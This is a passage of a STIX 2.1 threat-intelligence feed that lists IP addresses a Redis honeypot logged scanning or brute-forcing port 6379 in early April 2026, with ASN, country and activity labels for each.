      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--fd4cfe9b-30d5-414d-8904-0ff494ec4118",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.43.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:25:11.000Z",
      "valid_until": "2026-05-05T07:25:09.000Z"
    },
    {
      "created": "2026-04-03T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--117950da-2848-4f32-885c-5730176e9b0c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.6.4.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:25:11.000Z",
      "valid_until": "2026-05-05T07:25:09.000Z"
    },
    {
      "created": "2026-04-03T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--bdca2c36-1ec7-4fbd-bab6-7d4157acfedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '16.146.80.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:25:11.000Z",
      "valid_until": "2026-05-05T11:25:10.000Z"
    },
    {
      "created": "2026-04-03T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=GB; asn=13213; asn_org=Thg Hosting Limited; redis_cmd_hits=0",
      "id": "indicator--336bba8b-9e67-4a5d-8463-6796feb680bf",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.202.190.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:25:11.000Z",
      "valid_until": "2026-05-05T11:25:10.000Z"
    },
    {
      "created": "2026-04-03T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=198610; asn_org=Beget LLC; redis_cmd_hits=0",
      "id": "indicator--f8523af7-9bb5-4062-a18e-0da2651e6989",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.212.189.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:25:10.000Z",
      "valid_until": "2026-05-05T12:25:09.000Z"
    },
    {
      "created": "2026-04-03T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:25:10.000Z",
      "valid_until": "2026-05-05T12:25:09.000Z"
    },
    {
      "created": "2026-04-03T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--553eab97-b0c7-4b99-8245-45cad6c4fbeb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:25:10.000Z",
      "valid_until": "2026-05-05T12:25:09.000Z"
    },
    {
      "created": "2026-04-03T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--8d296f55-b326-4680-afb0-81c1f9dce703",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.234.199.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:25:11.000Z",
      "valid_until": "2026-05-05T13:25:09.000Z"
    },
    {
      "created": "2026-04-03T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=AM; asn=197834; asn_org=Ucom CJSC; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.0; redis_cmd_hits=0",
      "id": "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.32.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:25:11.000Z",
      "valid_until": "2026-05-05T13:25:09.000Z"
    },
    {
      "created": "2026-04-03T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--3530b54e-5f8d-4a18-99cf-f510c85252b8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.228.40.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:25:11.000Z",
      "valid_until": "2026-05-05T13:25:09.000Z"
    },
    {
      "created": "2026-04-03T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--7aa5a21a-4f63-48b0-84e0-9b056d368c08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '122.191.115.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:25:12.000Z",
      "valid_until": "2026-05-05T14:25:09.000Z"
    },
    {
      "created": "2026-04-03T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=135089; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--7d789f6c-f1e0-49b6-80a2-018b39900f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.56.219.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:25:12.000Z",
      "valid_until": "2026-05-05T14:25:09.000Z"
    },
    {
      "created": "2026-04-03T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--66850bf9-1b07-43d0-95e4-75db418202ce",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.242.178.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:25:12.000Z",
      "valid_until": "2026-05-05T14:25:09.000Z"
    },
    {
      "created": "2026-04-03T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38283; asn_org=CHINANET SiChuan Telecom Internet Data Center; redis_cmd_hits=0",
      "id": "indicator--51d9ebf3-56fc-42aa-9e17-1301673254e2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.236.21.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:25:10.000Z",
      "valid_until": "2026-05-05T15:25:09.000Z"
    },
    {
      "created": "2026-04-03T16:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--60e608f4-fe3e-4069-bcf2-df607a3f398d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T16:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.12.184.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:25:13.000Z",
      "valid_until": "2026-05-05T16:25:12.000Z"
    },
    {
      "created": "2026-04-03T17:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137695; asn_org=CHINATELECOM Xinjiang Wulumuqi MAN network; redis_cmd_hits=0",
      "id": "indicator--0b945424-6aff-46b5-964d-ebca98fb3aee",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T17:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.71.40.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T17:25:06.000Z",
      "valid_until": "2026-05-05T17:25:04.000Z"
    },
    {
      "created": "2026-04-03T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.227.170.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:25:11.000Z",
      "valid_until": "2026-05-05T18:25:10.000Z"
    },
    {
      "created": "2026-04-03T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--d7e4ed83-6b2f-48d3-a294-0e5c7f644613",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '182.92.181.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:25:11.000Z",
      "valid_until": "2026-05-05T18:25:10.000Z"
    },
    {
      "created": "2026-04-03T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=MY; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--e96118ce-0df1-44df-a9fa-07a791085fe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.250.81.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:25:11.000Z",
      "valid_until": "2026-05-05T18:25:10.000Z"
    },
    {
      "created": "2026-04-03T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=PL; asn=16276; asn_org=OVH SAS; redis_cmd_hits=0",
      "id": "indicator--4c8fca13-3e87-4484-aa9a-6de69b5bd090",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '51.77.47.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T18:25:11.000Z",
      "valid_until": "2026-05-05T18:25:10.000Z"
    },
    {
      "created": "2026-04-03T19:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e580a70b-37e9-4779-95a8-96a668d76758",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T19:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T19:25:06.000Z",
      "valid_until": "2026-05-05T19:25:04.000Z"
    },
    {
      "created": "2026-04-03T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--ec9bf603-c7e7-4c35-b058-331ca6732142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:25:12.000Z",
      "valid_until": "2026-05-05T20:25:10.000Z"
    },
    {
      "created": "2026-04-03T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--e5b095c2-c04e-48ff-96c6-1191faf194e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:25:12.000Z",
      "valid_until": "2026-05-05T20:25:10.000Z"
    },
    {
      "created": "2026-04-03T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T20:25:12.000Z",
      "valid_until": "2026-05-05T20:25:10.000Z"
    },
    {
      "created": "2026-04-03T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--9243f9a2-9c69-4645-bb2e-80f5c669de02",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.80.35.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T23:25:10.000Z",
      "valid_until": "2026-05-05T23:25:09.000Z"
    },
    {
      "created": "2026-04-04T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--31d8be97-89dd-4586-8ee0-dc6fd60f068a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.169.107.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:25:11.000Z",
      "valid_until": "2026-05-06T00:25:09.000Z"
    },
    {
      "created": "2026-04-04T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--a96ffa2d-ac50-4713-b586-85020d14df8f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:25:11.000Z",
      "valid_until": "2026-05-06T00:25:09.000Z"
    },
    {
      "created": "2026-04-04T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--22a7f4a5-5831-4a45-8aed-7197ea5d78dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T00:25:11.000Z",
      "valid_until": "2026-05-06T00:25:09.000Z"
    },
    {
      "created": "2026-04-04T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--567c8256-1a96-4aeb-a615-ee326f356bf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:25:10.000Z",
      "valid_until": "2026-05-06T01:25:09.000Z"
    },
    {
      "created": "2026-04-04T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--2c363a33-1117-4c81-b6f1-b5699d8fde03",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:25:10.000Z",
      "valid_until": "2026-05-06T01:25:09.000Z"
    },
    {
      "created": "2026-04-04T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4d97ca37-f7d3-4d20-b748-965ca93f3ba3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:25:10.000Z",
      "valid_until": "2026-05-06T01:25:09.000Z"
    },
    {
      "created": "2026-04-04T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:25:10.000Z",
      "valid_until": "2026-05-06T02:25:09.000Z"
    },
    {
      "created": "2026-04-04T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=56046; asn_org=China Mobile communications corporation; redis_cmd_hits=0",
      "id": "indicator--5b1ed4aa-c0a7-419e-a2c5-f6b206da1763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.130.29.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:25:10.000Z",
      "valid_until": "2026-05-06T02:25:09.000Z"
    },
    {
      "created": "2026-04-04T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--cdc6e8b3-7870-4a67-8cbd-9b55b6755ba7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '113.209.196.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:25:10.000Z",
      "valid_until": "2026-05-06T03:25:08.000Z"
    },
    {
      "created": "2026-04-04T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:25:10.000Z",
      "valid_until": "2026-05-06T03:25:08.000Z"
    },
    {
      "created": "2026-04-04T04:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=133774; asn_org=Fuzhou; redis_cmd_hits=0",
      "id": "indicator--61cf4731-ab44-4633-bf06-8d0c3589ec6e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T04:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.204.160.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:25:09.000Z",
      "valid_until": "2026-05-06T04:25:08.000Z"
    },
    {
      "created": "2026-04-04T04:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--7f82a101-fda0-4645-9eb8-3b0ed33e8c2c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T04:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:25:09.000Z",
      "valid_until": "2026-05-06T04:25:08.000Z"
    },
    {
      "created": "2026-04-04T04:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=100; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"...L..F.Ad.OL....~.[&.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group\"",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:25:09.000Z",
      "valid_until": "2026-05-06T04:25:08.000Z"
    },
    {
      "created": "2026-04-04T04:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=RU; asn=210259; asn_org=LLC Applied Computational Technologies; redis_cmd_hits=0",
      "id": "indicator--a1c592bd-4461-442e-a00a-28af93636366",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-04T04:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:25:09.000Z",
      "valid_until": "2026-05-06T04:25:08.000Z"
    },
    {
